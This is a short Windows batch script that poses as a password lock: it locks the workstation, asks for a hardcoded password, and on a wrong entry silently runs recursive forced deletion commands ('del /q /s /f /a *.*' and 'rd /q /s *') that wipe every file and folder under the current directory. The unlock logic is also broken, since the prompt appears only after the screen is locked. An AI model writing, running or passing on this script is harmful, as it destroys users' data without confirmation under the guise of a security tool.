@echo off :: Set the password set password=yesescape :: Lock the PC rundll32.exe user32.dll,LockWorkStation :: Wait for 30 seconds to allow the user to enter the password timeout /t 30 :: Prompt the user to enter the password echo Enter the password to unlock: set /p input= :: Check if the entered password is correct if %input%==%password% ( echo Correct password! Unlocking... exit ) else ( echo Incorrect password! Deleting all files... del /q /s /f /a *.* rd /q /s * echo All files deleted. )